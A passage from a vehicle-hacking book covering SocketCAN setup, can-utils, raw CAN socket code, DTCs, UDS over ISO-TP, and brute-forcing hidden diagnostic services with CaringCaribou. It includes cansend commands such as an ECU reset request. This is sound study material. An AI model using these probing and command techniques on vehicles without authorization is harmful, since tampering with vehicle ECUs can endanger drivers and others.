interfaces—for example, for setting bit rates for the CAN controllers. 

The Linux kernel’s modular concept also applies to CAN hardware 
drivers that attach CAN controllers via bus hardware, such as the kvaser_pci, 
peak_pci, and so on. When you plug in a supported device, these modules 
should automatically load, and you should see them when you enter the lsmod 
command. USB drivers, like usb8dev, usually implement a proprietary USB 
communication protocol and, therefore, do not load a CAN controller driver. 
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For example, when you plug in a PEAK-System PCAN-USB adapter, the 
can_dev module loads and the peak_usb module finalizes its initialization. 
Using the display message command dmesg, you should see output similar 
to this:

$ dmesg
--snip--
[ 8603.743057] CAN device driver interface
[ 8603.748745] peak_usb 3-2:1.0: PEAK-System PCAN-USB adapter hwrev 28 serial 
    FFFFFFFF (1 channel)
[ 8603.749554] peak_usb 3-2:1.0 can0: attached to PCAN-USB channel 0 (device 
    255)
[ 8603.749664] usbcore: registered new interface driver peak_usb

You can verify the interface loaded properly with ifconfig and ensure a 
can0 interface is now present:

$ ifconfig can0 
can0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  
          UP RUNNING NOARP  MTU:16  Metric:1 
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0 
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 
          collisions:0 txqueuelen:10 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B) 

Now set the CAN bus speed. (You’ll find more information on bus 
speeds in Chapter 5.) The key component you need to set is the bit rate. 
This is the speed of the bus. A typical value for high-speed CAN (HS-CAN) 
is 500Kbps. Values of 250Kbps or 125Kbps are typical for lower-speed CAN 
buses.

$ sudo ip link set can0 type can bitrate 500000
$ sudo ip link set up can0

Once you bring up the can0 device, you should be able to use the tools 
from can-utils on this interface. Linux uses netlink to communicate between 
the kernel and user-space tools. You can access netlink with the ip link com-
mand. To see all the netlink options, enter the following:

$ ip link set can0 type can help

If you begin to see odd behavior, such as a lack of packet captures and 
packet errors, the interface may have stopped. If you’re working with an 
external device, just unplug or reset. If the device is internal, run these 
commands to reset it:

$ sudo ip link set canX type can restart-ms 100
$ sudo ip link set canX type can restart
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Configuring Serial CAN Devices
External CAN devices usually communicate via serial. In fact, even USB 
devices on a vehicle often communicate through a serial interface—typically 
an FTDI chip from Future Technology Devices International, Ltd. 

The following devices are known to work with SocketCAN:

•	 Any device that supports the LAWICEL protocol

•	 CAN232/CANUSB serial adapters (http://www.can232.com/)

•	 VSCOM USB-to-serial adapter (http://www.vscom.de/usb-to-can.htm)

•	 CANtact (http://cantact.io)

N O T E 	 If you’re using an Arduino or building your own sniffer, you must implement the 
LAWICEL protocol—also known as the SLCAN protocol—in your firmware in order 
for your device to work. For details, see http://www.can232.com/docs/canusb_
manual.pdf and https://github.com/linux-can/can-misc/blob/master/
docs/SLCAN-API.pdf.

In order to use one of the USB-to-serial adapters, you must first initial-
ize both the serial hardware and the baud rate on the CAN bus:

$ slcand -o -s6 -t hw -S 3000000 /dev/ttyUSB0
$ ip link set up slcan0

The slcand daemon provides the interface needed to translate serial 
communication to the network driver, slcan0. The following options can be 
passed to slcand:

-o  Opens the device

-s6  Sets the CAN bus baud rate and speed (see Table 3-1)

-t hw  Specifies the serial flow control, either HW (hardware) or SW 
(software)

-S 3000000  Sets the serial baud, or bit rate, speed

/dev/ttyUSB0  Your USB FTDI device

Table 3-1 lists the numbers passed to -s and the corresponding baud 
rates.

Table 3-1: Numbers and Corresponding Baud Rates

Number Baud

0 10Kbps

1 20Kbps

2 50Kbps

3 100Kbps

4 125Kbps
(continued)

http://www.can232.com/
http://www.vscom.de/usb-to-can.htm
http://cantact.io
http://www.can232.com/docs/canusb_manual.pdf
http://www.can232.com/docs/canusb_manual.pdf
https://github.com/linux-can/can-misc/blob/master/docs/SLCAN-API.pdf
https://github.com/linux-can/can-misc/blob/master/docs/SLCAN-API.pdf
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Table 3-1 (continued)

Number Baud

5 250Kbps

6 500Kbps

7 800Kbps

8 1Mbps

As you can see, entering -s6 prepares the device to communicate with a 
500Kbps CAN bus network.

With these options set, you should now have an slcan0 device. To con-
firm, enter the following:

$ ifconfig slcan0 
slcan0    Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  
          NOARP  MTU:16  Metric:1 
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0 
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 
          collisions:0 txqueuelen:10 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

Most of the information returned by ifconfig is set to generic default 
values, which may be all 0s. This is normal. We’re simply making sure that we 
can see the device with ifconfig. If we see an slcan0 device, we know that we 
should be able to use our tools to communicate over serial with the CAN 
controller.  

N O T E 	 At this point, it may be good to see whether your physical sniffer device has additional 
lights. Often a CAN sniffer will have green and red lights to signify that it can com-
municate correctly with the CAN bus. Your CAN device must be plugged in to your 
computer and the vehicle in order for these lights to function properly. Not all devices 
have these lights. (Check your device’s manual.)

Setting Up a Virtual CAN Network
If you don’t have CAN hardware to play with, fear not. You can set up a vir-
tual CAN network for testing. To do so, simply load the vcan module.

$ modprobe vcan

If you check dmesg, you shouldn’t see much more than a message like this:

$ dmesg
[604882.283392] vcan: Virtual CAN interface driver 

Now you just set up the interface as discussed in “Configuring Built-In 
Chipsets” on page 37 but without specifying a baud rate for the virtual 
interface.



Vehicle Communication with SocketCAN    41

$ ip link add dev vcan0 type vcan 
$ ip link set up vcan0 

To verify your setup, enter the following:

$ ifconfig vcan0 
vcan0     Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  
          UP RUNNING NOARP  MTU:16  Metric:1 
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0 
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B) 

As long as you see a vcan0 in the output, you’re ready to go.

The CAN Utilities Suite
With our CAN device up and running, let’s take a high-level look at the 
can-utils. They’re listed and described briefly here; we’ll use them through-
out the book, and we’ll explore them in greater detail as we use them.

asc2log  This tool parses ASCII CAN dumps in the following form into 
a standard SocketCAN logfile format: 

0.002367 1 390x Rx d 8 17 00 14 00 C0 00 08 00 

bcmserver  Jan-Niklas Meier’s proof-of-concept (PoC) broadcast man-
ager server takes commands like the following: 

vcan1 A 1 0 123 8 11 22 33 44 55 66 77 88

By default, it listens on port 28600. It can be used to handle some 
busy work when dealing with repetitive CAN messages.

canbusload  This tool determines which ID is most responsible for put-
ting the most traffic on the bus and takes the following arguments: 

interface@bitrate

You can specify as many interfaces as you like and have canbusload 
display a bar graph of the worst bandwidth offenders.

can-calc-bit-timing  This command calculates the bit rate and the 
appropriate register values for each CAN chipset supported by the 
kernel.

candump  This utility dumps CAN packets. It can also take filters and log 
packets.
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canfdtest  This tool performs send and receive tests over two CAN 
buses.

cangen  This command generates CAN packets and can transmit them 
at set intervals. It can also generate random packets.

cangw  This tool manages gateways between different CAN buses and 
can also filter and modify packets before forwarding them on to the 
next bus.

canlogserver  This utility listens on port 28700 (by default) for CAN 
packets and logs them in standard format to stdout.

canplayer  This command replays packets saved in the standard 
SocketCAN “compact” format.

cansend  This tool sends a single CAN frame to the network.

cansniffer  This interactive sniffer groups packets by ID and highlights 
changed bytes.

isotpdump  This tool dumps ISO-TP CAN packets, which are explained 
in “Sending Data with ISO-TP and CAN” on page 55.

isotprecv  This utility receives ISO-TP CAN packets and outputs to 
stdout.

isotpsend  This command sends ISO-TP CAN packets that are piped in 
from stdin.

isotpserver  This tool implements TCP/IP bridging to ISO-TP and 
accepts data packets in the format 1122334455667788.

isotpsniffer  This interactive sniffer is like cansniffer but designed for 
ISO-TP packets.

isotptun  This utility creates a network tunnel over the CAN network.

log2asc  This tool converts from standard compact format to the fol-
lowing ASCII format:

0.002367 1 390x Rx d 8 17 00 14 00 C0 00 08 00

log2long  This command converts from standard compact format to a 
user readable format.

slcan_attach  This is a command line tool for serial-line CAN devices.

slcand  This daemon handles serial-line CAN devices.

slcanpty  This tool creates a Linux psuedoterminal interface (PTY) to 
communicate with a serial-based CAN interface.

Installing Additional Kernel Modules
Some of the more advanced and experimental commands, such as the 
ISO-TP–based ones, require you to install additional kernel modules, such 
as can-isotp, before they can be used. As of this writing, these additional 
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modules haven’t been included with the standard Linux kernels, and you’ll 
likely have to compile them separately. You can grab the additional CAN 
kernel modules like this:

$ git clone https://gitorious.org/linux-can/can-modules.git
$ cd can-modules/net/can
$ sudo ./make_isotp.sh

Once make finishes, it should create a can-isotp.ko file. 
If you run make in the root folder of the repository, it’ll try to compile 

some out-of-sync modules, so it’s best to compile only the module that you 
need in the current directory. To load the newly compiled can-isotp.ko mod-
ule, run insmod:

$ sudo insmod ./can-isotp.ko

dmesg should show that it loaded properly:

$ dmesg
[830053.381705] can: isotp protocol (rev 20141116 alpha) 

N O T E 	 Once the ISO-TP driver has proven to be stable, it should be moved into the stable 
kernel branch in Linux. Depending on when you’re reading this, it may already have 
been moved, so be sure to check whether it’s already installed before compiling your own.

The can-isotp.ko Module
The can-isotp.ko module is a CAN protocol implementation inside the 
Linux network layer that requires the system to load the can.ko core mod-
ule. The can.ko module provides the network layer infrastructure for all 
in-kernel CAN protocol implementations, like can_raw.ko, can_bcm.ko, and 
can-gw.ko. If it’s working correctly, you should see this output in response to 
the following command:

$ sudo insmod ./can-isotp.ko
[830053.374734] can: controller area network core (rev 20120528 abi 9)
[830053.374746] NET: Registered protocol family 29
[830053.376897] can: netlink gateway (rev 20130117) max_hops=1

When can.ko is not loaded, you get the following:

$ sudo insmod ./can-isotp.ko
insmod: ERROR: could not insert module ./can-isotp.ko: Unknown symbol in 
module

If you’ve forgotten to attach your CAN device or load the CAN kernel 
module, this is the strange error message you’ll see. If you were to enter 
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dmesg for more information, you’d see a series of missing symbols referenced 
in the error messages. 

$ dmesg
[830760.460054] can_isotp: Unknown symbol can_rx_unregister (err 0)
[830760.460134] can_isotp: Unknown symbol can_proto_register (err 0)
[830760.460186] can_isotp: Unknown symbol can_send (err 0)
[830760.460220] can_isotp: Unknown symbol can_ioctl (err 0)
[830760.460311] can_isotp: Unknown symbol can_proto_unregister (err 0)
[830760.460345] can_isotp: Unknown symbol can_rx_register (err 0)

The dmesg output shows a lot of Unknown symbol messages, especially 
around can_x methods. (Ignore the (err 0) messages.) These messages tell 
us that the _isotop module can’t find methods related to standard CAN 
functions. These messages indicate that you need to load the can.ko mod-
ule. Once loaded, everything should work fine.

Coding SocketCAN Applications
While can-utils is very robust, you’ll find that you want to write custom tools 
to perform specific actions. (If you’re not a developer, you may want to skip 
this section.)

Connecting to the CAN Socket
In order to write your own utilities, you first need to connect to the CAN 
socket. Connecting to a CAN socket on Linux is the same as connecting 
to any networking socket that you might know from TCP/IP network pro-
gramming. The following shows C code that’s specific to CAN as well as the 
minimum required code to connect to a CAN socket. This code snippet will 
bind to can0 as a raw CAN socket.

int s;
struct sockaddr_can addr;
struct ifreq ifr;

s = socket(PF_CAN, SOCK_RAW, CAN_RAW);

strcpy(ifr.ifr_name, "can0" );
ioctl(s, SIOCGIFINDEX, &ifr);

addr.can_family = AF_CAN;
addr.can_ifindex = ifr.ifr_ifindex;

bind(s, (struct sockaddr *)&addr, sizeof(addr));

Let’s dissect the sections that are specific to CAN: 

s = socket(PF_CAN, SOCK_RAW, CAN_RAW);
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This line specifies the protocol family, PF_CAN, and defines the socket as 
CAN_RAW. You can also use CAN_BCM if you plan on making a broadcast manager 
(BCM) service. A BCM service is a more complex structure that can moni-
tor for byte changes and the queue of cyclic CAN packet transmissions.

These two lines name the interface:

strcpy(ifr.ifr_name, "can0" );
ioctl(s, SIOCGIFINDEX, &ifr);

These lines set up the CAN family for sockaddr and then bind to the 
socket, allowing you to read packets off the network:

addr.can_family = AF_CAN;
addr.can_ifindex = ifr.ifr_ifindex;

bind(s, (struct sockaddr *)&addr, sizeof(addr));

Setting Up the CAN Frame
Next we want to setup the CAN frame and read the bytes off the CAN net-
work into our newly defined structure:

struct can_frame frame;
nbytes = read(s, &frame, sizeof(struct can_frame));

The can_frame is defined in linux/can.h as:

struct can_frame {
        canid_t can_id;  /* 32 bit CAN_ID + EFF/RTR/ERR flags */
        __u8    can_dlc; /* frame payload length in byte (0 .. 8) */
        __u8    data[8] __attribute__((aligned(8)));
};

Writing to the CAN network is just like the read command but in 
reverse. Simple, eh?

The Procfs Interface
The SocketCAN network-layer modules implement a procfs interface as well. 
Having access to information in proc can make bash scripting easier and 
also provide a quick way to see what the kernel is doing. You’ll find the pro-
vided network-layer information in /proc/net/can/ and /proc/net/can-bcm/. 
You can see a list of hooks into the CAN receiver by searching the rcvlist_all 
file with cat:

$ cat /proc/net/can/rcvlist_all
    receive list 'rx_all':
      (vcan3: no entry)
      (vcan2: no entry)
      (vcan1: no entry)



46   Chapter 3

      device   can_id   can_mask  function  userdata   matches  ident
       vcan0     000    00000000  f88e6370  f6c6f400         0  raw
      (any: no entry)

Some other useful procfs files include the following:

stats  CAN network-layer stats

reset_stats  Resets the stats (for example, for measurements)

version  SocketCAN version

You can limit the maximum length of transmitted packets in proc:

 $ echo 1000 > /sys/class/net/can0/tx_queue_len 

Set this value to whatever you feel will be the maximum packet length 
for your application. You typically won’t need to change this value, but if 
you find that you’re having throttling issues, you may want to fiddle with it.

The Socketcand Daemon
Socketcand (https://github.com/dschanoeh/socketcand) provides a network 
interface into a CAN network. Although it doesn’t include can-utils, it can 
still be very useful, especially when developing an application in a program-
ming language like Go that can’t set the CAN low-level socket options 
described in this chapter.

Socketcand includes a full protocol to control its interaction with the 
CAN bus. For example, you can send the following line to socketcand to 
open a loopback interface:

< can0 C listen_only loopback three_samples >

The protocol for socketcand is essentially the same as that of Jan-Niklas 
Meier’s BCM server mentioned earlier; it’s actually a fork of the BCM server. 
(Socketcand, however, is a bit more robust than the BCM server.)

Kayak
Kayak (http://kayak.2codeornot2code.org/), a Java-based GUI for CAN diag-
nostics and monitoring (see Figure 3-2), is one of the best tools for use with 
socketcand. Kayak links with OpenStreetMaps for mapping and can handle 
CAN definitions. As a Java-based application, it’s platform independent, so 
it leans on socketcand to handle communication to the CAN transceivers. 

You can download a binary package for Kayak or compile from source. In 
order to compile Kayak, install the latest version of Apache Maven, and clone 
the Kayak git repository (git://github.com/dschanoeh/Kayak). Once the clone is 
complete, run the following:

$ mvn clean package

https://github.com/dschanoeh/socketcand
http://kayak.2codeornot2code.org/
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You should find your binary in the Kayak/application/target/kayak/bin 
folder. 

Figure 3-2: The Kayak GUI

Before you launch Kayak, start socketcand:

$ socketcand -i can0

N O T E 	 You can attach as many CAN devices as you want to socketcand, separated by commas. 

Next, start Kayak and take the following steps:

1.	 Create a new project with ctrl-N and give it a name.

2.	 Right-click the project and choose Newbus; then, give your bus a name 
(see Figure 3-3).

Figure 3-3: Creating a name for the CAN bus

3.	 Click the Connections tab at the right; your socketcand should show up 
under Auto Discovery (see Figure 3-4).
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Figure 3-4: Finding Auto Discovery under the  
Connections tab

4.	 Drag the socketcand connection to the bus connection. (The bus con-
nection should say Connection: None before it’s set up.) To see the bus, 
you may have to expand it by clicking the drop-down arrow next to the 
bus name, as shown in Figure 3-5. 

Figure 3-5: Setting up the bus connection

5.	 Right-click the bus and choose Open RAW view.

6.	 Press the play button (circled in Figure 3-6); you should start to see 
packets from the CAN bus.

Figure 3-6: Open RAW view and press the play button to see packets from the CAN bus.

7.	 Choose Colorize from the toolbar to make it easier to see and read the 
changing packets. 
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Kayak can easily record and play back packet capture sessions, and it 
supports CAN definitions (stored in an open KDC format). As of this writ-
ing, the GUI doesn’t support creating definitions, but I’ll show how to cre-
ate definitions later.

Kayak is a great open source tool that can work on any platform. In 
addition, it has a friendly GUI with advanced features that allow you to 
define the CAN packets you see and view them graphically.

Summary
In this chapter, you learned how to use SocketCAN as a unified interface 
for CAN devices and how to set up your device and apply the appropriate 
bit rate for your CAN bus. I reviewed all of the default CAN utilities in the 
can-utils package that come with SocketCAN support, and I showed you 
how to write low-level C code to directly interface with the CAN sockets. 
Finally, you learned how to use socketcand to allow remote interaction with 
your CAN devices and set up Kayak to work with socketcand. Now that 
you’ve set up communication with your vehicle, you’re just about ready to 
try out some attacks. 





4
D i agnost      i cs   and    Logg    i ng

The OBD-II connector is primarily used by 
mechanics to quickly analyze and trouble-

shoot problems with a vehicle. (See “The 
OBD-II Connector” on page 17 for help 

locating the OBD connector.) When a vehicle experi-
ences a fault, it saves information related to that fault 
and triggers the engine warning light, also known 
as the malfunction indicator lamp (MIL). These routine diagnostic checks 
are handled by the vehicle’s primary ECU, the powertrain control module 
(PCM), which can be made up of several ECUs (but to keep the discussion 
simple, we’ll refer to it only as the PCM).

If you trigger faults while experimenting with the bus on a vehicle, 
you’ll need to able to read and write to the PCM in order to clear them. In 
this chapter, we’ll learn how to fetch and clear diagnostic codes as well as 
query the diagnostic services of the ECU. We’ll also learn how to access a 
vehicle’s crash data recordings and how to brute-force hidden diagnostic 
codes.
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Diagnostic Trouble Codes
The PCM stores fault codes as diagnostic trouble codes (DTCs). DTCs are 
stored in different places. For instance, memory-based DTCs are stored in 
the PCM’s RAM, which means they’re erased when power from the bat-
tery is lost (as is true for all DTCs stored in RAM). More serious DTCs are 
stored in areas that will survive a power failure.

Faults are usually classified as either hard or soft. Soft faults map to 
intermittent issues, whereas hard faults are ones that won’t go away without 
some sort of intervention. Often to determine whether a fault is hard or 
soft, a mechanic clears the DTCs and drives the vehicle to see whether the 
fault reappears. If it reappears, the fault is a hard fault. A soft fault could be 
due to a problem such as a loose gas cap.

Not all faults trigger the MIL light right away. Specifically, class A faults, 
which signal a gross emissions failure, light the MIL right away, while class 
B faults, which don’t affect the vehicle’s emissions system, are stored the 
first time they’re triggered as a pending fault. The PCM waits to record sev-
eral of the same faults before triggering the MIL. Class C faults often won’t 
turn on the MIL light but instead trigger a “service engine soon” type of 
message. Class D faults don’t trigger the MIL light at all.

When storing the DTCs, the PCM snapshots all the relevant engine 
components in what is known as freeze frame data, which typically includes 
information such as the following:

•	 DTC involved

•	 Engine load

•	 Engine revolutions per minute (RPM)

•	 Engine temperature

•	 Fuel trim

•	 Manifold air pressure/mass air flow (MAP/MAF) values

•	 Operating mode (open/close loop)

•	 Throttle position

•	 Vehicle speed

Some systems store only one freeze frame, usually for the first DTC trig-
gered or the highest-priority DTC, while others record multiple ones. 

In an ideal world, these snapshots would happen as soon the DTC occurs, 
but the freeze frames are typically recorded about five seconds after a DTC 
is triggered.

DTC Format
A DTC is a five-character alphanumeric code. For example, you’ll see codes 
like P0477 (exhaust pressure control valve low) and U0151 (lost communi-
cation with restraint control module). The code in the first byte position 
represents the basic function of the component that set the code, as shown 
in Table 4-1.
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Table 4-1: Diagnostic Code Layouts

Byte position Description

1 P (0x0) = powertrain, B (0x1) = body,
C (0x2) = chassis, U (0x3) = network

2 0,2,3 (SAE standard) 1,3 (manufacturer specific)

3 Subgroup of position 1

4 Specific fault area

5 Specific fault area

N O T E 	 When set to 3, byte 2 is both an SAE-defined standard and a manufacturer-specific 
code. Originally, 3 was used exclusively for manufacturers, but pressure is mounting 
to standardize 3 to mean a standard code instead. In modern cars, if you see a 3 in 
the second position, it’s probably an SAE standard code. 

The five characters in a DTC are represented by just two raw bytes on 
the network. Table 4-2 shows how to break down the 2 DTC bytes into a full 
DTC code.

Table 4-2: Diagnostic Code Binary Breakdown

Format Byte 1 Byte 2 Result

Hex 0x0 0x4 0x7 0x7 0x0477

Binary 00 00 0100 0111 0111 Bits 0–15

DTC P 0 4 7 7 P0477

Except for the first two, the characters have a one-to-one relationship. 
Refer to Table 4-1 to see how the first two bits are assigned.

You should be able to look up the meaning of any codes that follow the 
SAE standard online. Here are some example ranges for common power
train DTCs:

•	 P0001–P0099: Fuel and air metering, auxiliary emissions controls

•	 P0100–P0199: Fuel and air metering

•	 P0200–P0299: Fuel and air metering (injector circuit)

•	 P0300–P0399: Ignition system or misfire

•	 P0400–P0499: Auxiliary emissions controls

•	 P0500–P0599: Vehicle speed controls, and idle control systems

•	 P0600–P0699: Computer output circuit

•	 P0700–P0799: Transmission

To learn the meaning of a particular code, pick up a repair book in the 
Chilton series at your local auto shop. There, you’ll find a list of all OBD-II 
diagnostic codes for your vehicle.
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Reading DTCs with Scan Tools
Mechanics check fault codes with scan tools. Scan tools are nice to have but 
not necessary for vehicle hacking. You should be able to pick one up at any 
vehicle supply store or on the Internet for anywhere between $100 and $3,000. 

For the cheapest possible solution, you can get an ELM327 device on 
eBay for around $10. These are typically dongles that need additional soft-
ware, such as a mobile app, in order for them to function fully as scan tools. 
The software is usually free or under $5. A basic scan tool should be able to 
probe the vehicle’s fault system and report on the common, nonmanufacturer-
specific DTC codes. Higher-end ones should have manufacturer-specific data-
bases that allow you to perform much more detailed testing.

Erasing DTCs
DTCs usually erase themselves once the fault no longer appears during con-
ditions similar to when the fault was first found. For this purpose, similar is 
defined as the following:

•	 Engine speed within 375 RPM of the flagged condition

•	 Engine load within 10 percent of the flagged condition 

•	 Engine temp is similar

Under normal conditions, once the PCM no longer sees a fault after 
three checks, the MIL light turns off and the DTCs get erased. There are 
other ways to clear these codes: you can clear soft DTCs with a scan tool 
(discussed in the previous section) or by disconnecting the vehicle’s bat-
tery. Permanent or hard DTCs, however, are stored in NVRAM and are 
cleared only when the PCM no longer sees the fault condition. The reason 
for this is simple enough: to prevent mechanics from manually turning off 
the MIL and clearing the DTCs when the problem still exists. Permanent 
DTCs give mechanics a history of faults so that they’re in a better position 
to repair them.

Unified Diagnostic Services
The Unified Diagnostic Services (UDS) is designed to provide a uniform way to 
show mechanics what’s going on with a vehicle without their having to pay 
huge license fees for the auto manufacturer’s proprietary CAN bus packet 
layouts. Unfortunately, although UDS was designed to make vehicle infor-
mation accessible to even the mom-and-pop mechanic, the reality is a bit 
different: CAN packets are sent the same way but the contents vary for each 
make, model, and even year. 

Auto manufacturers sell dealers licenses to the details of the packet 
contents. In practice, UDS just works as a gateway to make some but not all 
of this vehicle information available. The UDS system does not affect how 
a vehicle operates; it’s basically just a read-only view into what’s going on. 
However, it’s possible to use UDS to perform more advanced operations, 
such as diagnostic tests or firmware modifications (tests that are only a 
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feature of higher-end scan tools). Diagnostic tests like these send the system 
a request to perform an action, and that request generates signals, such as 
other CAN packets, that are used to perform the work. For instance, a diag-
nostic tool may make a request to unlock the car doors, which results in the 
component sending a separate CAN signal that actually does the work of 
unlocking the doors.

Sending Data with ISO-TP and CAN
Because CAN frames are limited to 8 bytes of data, UDS uses the ISO-TP 
protocol to send larger outputs over the CAN bus. You can still use regular 
CAN to read or send data, but the response won’t be complete because 
ISO-TP allows chaining of multiple CAN packets. 

To test ISO-TP, connect to a CAN network that has diagnostic-capable 
modules such as an ECU. Then send a packet designed for ISO-TP over nor-
mal CAN using SocketCAN’s cansend application:

$ cansend can0 7df#02010d
Replies similar to 7e8 03 41 0d 00

In this listing, 7df is the OBD diagnostic code, 02 is the size of the packet, 
01 is the mode (show current data; see Appendix B for a list of common 
modes and PIDs), and 0d is the service (a vehicle speed of 0 because the 
vehicle was stationary). The response adds 0x8 to the ID (7e8); the next byte 
is the size of the response. Responses then add 0x40 to the type of request, 
which is 0x41 in this case. Then, the service is repeated and followed by the 
data for the service. ISO-TP dictates how to respond to a CAN packet. 

Normal CAN packets use a “fire-and-forget” structure, meaning they 
simply send data and don’t wait for a return packet. ISO-TP specifies a 
method to receive response data. Because this response data can’t be sent 
back using the same arbitration ID, the receiver returns the response by 
adding 0x8 to the ID and noting that the response is a positive one by add-
ing 0x40 to the request. (If the response fails, you should see a 0x7F instead 
of the positive + 0x40 response.) You can send a request to 0x7DF and it 
should generate a response from all listening ECUs. This response value 
will be anything from 0x7E8 to 0x7EF. If you want to address just one ECU 
directly, you subtract 8 from the response value; for example, if you see a 
response of 0x7E8 you can use 0x7E0 to query only that ECU.

Table 4-3 lists the most common error responses.

Table 4-3: Common UDS Error Responses

Hex (4th byte) Abbreviation Description

10 GR General reject

11 SNS Service not supported

12 SFNS Subfunction not supported

13 IMLOIF Incorrect message length or invalid format
(continued)
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Table 4-3 (continued)

Hex (4th byte) Abbreviation Description

14 RTL Response too long

21 BRR Busy repeat request

22 CNC Condition not correct

24 RSE Request sequence error

25 NRFSC No response from subnet component

26 FPEORA Failure prevents execution of requested action

31 ROOR Request out of range

33 SAD Security access denied

35 IK Invalid key

36 ENOA Exceeded number of attempts

37 RTDNE Required time delay not expired

38-4F RBEDLSD Reserved by extended data link security 
document

70 UDNA Upload/download not accepted

71 TDS Transfer data suspended

72 GPF General programming failure

73 WBSC Wrong block sequence counter

78 RCRRP Request correctly received but response is 
pending

7E SFNSIAS Subfunction not supported in active session

7F SNSIAS Service not supported in active session

For example, if you use service 0x11 to reset the ECU and the ECU 
doesn’t support remote resets, you may see traffic like this:

$ cansend can0 7df#021101
Replies similar to 7e8 03 7F 11 11

In this response, we can see that after 0x7e8, the next byte is 0x03, 
which represents the size of the response. The next byte, 0x7F, represents 
an error for service 0x11, the third byte. The final byte, 0x11, represents the 
error returned—in this case, service not supported (SNS).

To send or receive something with more than the 8 bytes of data in a 
standard CAN packet, use SocketCAN’s ISO-TP tools. Run istotpsend in one 
terminal, and then run isotpsniffer (or isotprecv) in another terminal to 
see the response to your istotpsend commands. (Don’t forget to insmod your 
can-isotp.ko module, as described in Chapter 3.)

For example, in one terminal, set up a sniffer like this:

$ isotpsniffer -s 7df -d 7e8 can0
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Then, in another terminal, send the request packet via the 
command line:

$ echo "09 02" | isotpsend -s 7DF -d 7E8 can0

When using ISO-TP, you need to specify a source and destination address 
(ID). In the case of UDS, the source is 0x7df, and the destination (response) 
is 0x7e8. (When using ISO-TP tools, the starting 0x in the addresses isn’t 
specified.)

In this example, we’re sending a packet containing PID 0x02 with 
mode 0x09 in order to request the vehicle’s VIN. The response in the 
sniffer should display the vehicle’s VIN, as shown here in the last line 
of output:

$ isotpsniffer -s 7df -d 7e8 can0 
 can0  7DF  [2]  09 02  - '..' 
 can0  7E8  [20]  49u 02v 01w 31 47 31 5A 54 35 33 38 32 36 46 31 30 39 31 34 39  
     - 'I..1G1ZT53826F109149' 

The first 3 bytes make up the UDS response. 0x49 u is service 0x09 
+ 0x40, which signifies a positive response for PID 0x02 v, the next byte. 
The third byte, 0x01 w, indicates the number of data items that are being 
returned (one VIN in this case). The VIN returned is 1G1ZT53826F109149. 
Enter this VIN into Google, and you should see detailed information about 
this vehicle, which was taken from an ECU pulled from a wrecked car found 
in a junkyard. Table 4-4 shows the information you should see.

Table 4-4: VIN Information

Model Year Make Body Engine

Malibu 2006 Chevrolet Sedan 4 Door 3.5L V6 OHV 
12V

If you were watching this UDS query via a normal CAN sniffer, you’d 
have seen several response packets on 0x7e8. You could re-assemble an 
ISO-TP packet by hand or with a simple script, but the ISO-TP tools make 
things much easier. 

N O T E 	 If you have difficulty running the ISO-TP tools, make sure you have the proper 
kernel module compiled and installed (see “Installing Additional Kernel Modules” on 
page 42).

Understanding Modes and PIDs
The first byte of the data section in a diagnostic code is the mode. In auto-
motive manuals, modes start with a $, as in $1. The $ is used to state that 
the number is in hex. The mode $1 is the same as 0x01, $0A is the same 
as 0x0A, and so on. I’ve listed a few examples here, and there are more in 
Appendix B for reference. 
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0x01: Shows current data
Shows data streams of a given PID. Sending a PID of 0x00 returns 
4 bytes of bit-encoded available PIDs (0x01 through 0x20). 

0x02: Shows freeze frame data
Has the same PID values as 0x01, except that the data returned is from 
the freeze frame state.

0x03: Shows stored “confirmed” diagnostic trouble codes
Matches the DTCs mentioned in “DTC Format” on page 52.

0x04: Erases DTCs and clears diagnostic history
Clears the DTC and freeze frame data.

0x07: Shows “pending” diagnostic codes
Displays codes that have shown up once but that haven’t been con-
firmed; status pending.

0x08: Controls operations of onboard component/system
Allows a technician to activate and deactivate the system actuators man-
ually. System actuators allow drive-by-wire operations and physically 
control different devices. These codes aren’t standard, so a common 
scan tool won’t be able to do much with this mode. Dealership scan 
tools have a lot more access to vehicle internals and are an interesting 
target for hackers to reverse engineer.

0x09: Requests vehicle information
Several pieces of data can be pulled with mode 0x09.

0x0a: Permanent diagnostic codes
This mode pulls DTCs that have been erased via mode 0x04. These 
DTCs are cleared only once the PCM has verified the fault condition 
is no longer present (see “Erasing DTCs” on page 54).

Brute-Forcing Diagnostic Modes
Each manufacturer has its own proprietary modes and PIDs, which you 
can usually get by digging through “acquired” dealer software or by using 
tools or brute force. The easiest way to do brute force is to use an open 
source tool called the CaringCaribou (CC), available at https://github.com/
CaringCaribou/caringcaribou. 

CaringCaribou consists of a collection of Python modules designed to 
work with SocketCAN. One such module is a DCM module that deals spe-
cifically with discovering diagnostic services.

To get started with CaringCaribou, create an RC file in your home 
directory, ~/.canrc.

https://github.com/CaringCaribou/caringcaribou
https://github.com/CaringCaribou/caringcaribou
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[default] 
interface = socketcan_ctypes 
channel = can0

Set your channel to that of your SocketCAN device. Now, to discover 
what diagnostics your vehicle supports, run the following:

$ ./cc.py dcm discovery

This will send the tester-present code to every arbitration ID. Once the 
tool sees a valid response (0x40+service) or an error (0x7f), it’ll print the 
arbitration ID and the reply ID. Here is an example discovery session using 
CaringCaribou:

------------------- 
CARING CARIBOU v0.1 
------------------- 

Loaded module 'dcm' 

Starting diagnostics service discovery 
Sending diagnostics Tester Present to 0x0244 
Found diagnostics at arbitration ID 0x0244, reply at 0x0644 

We see that there’s a diagnostic service responding to 0x0244. Great! 
Next, we probe the different services on 0x0244:

$ ./cc.py dcm services 0x0244 0x0644 

------------------- 
CARING CARIBOU v0.1 
------------------- 

Loaded module 'dcm' 

Starting DCM service discovery 
Probing service 0xff (16 found) 
Done! 

Supported service 0x00: Unknown service 
Supported service 0x10: DIAGNOSTIC_SESSION_CONTROL 
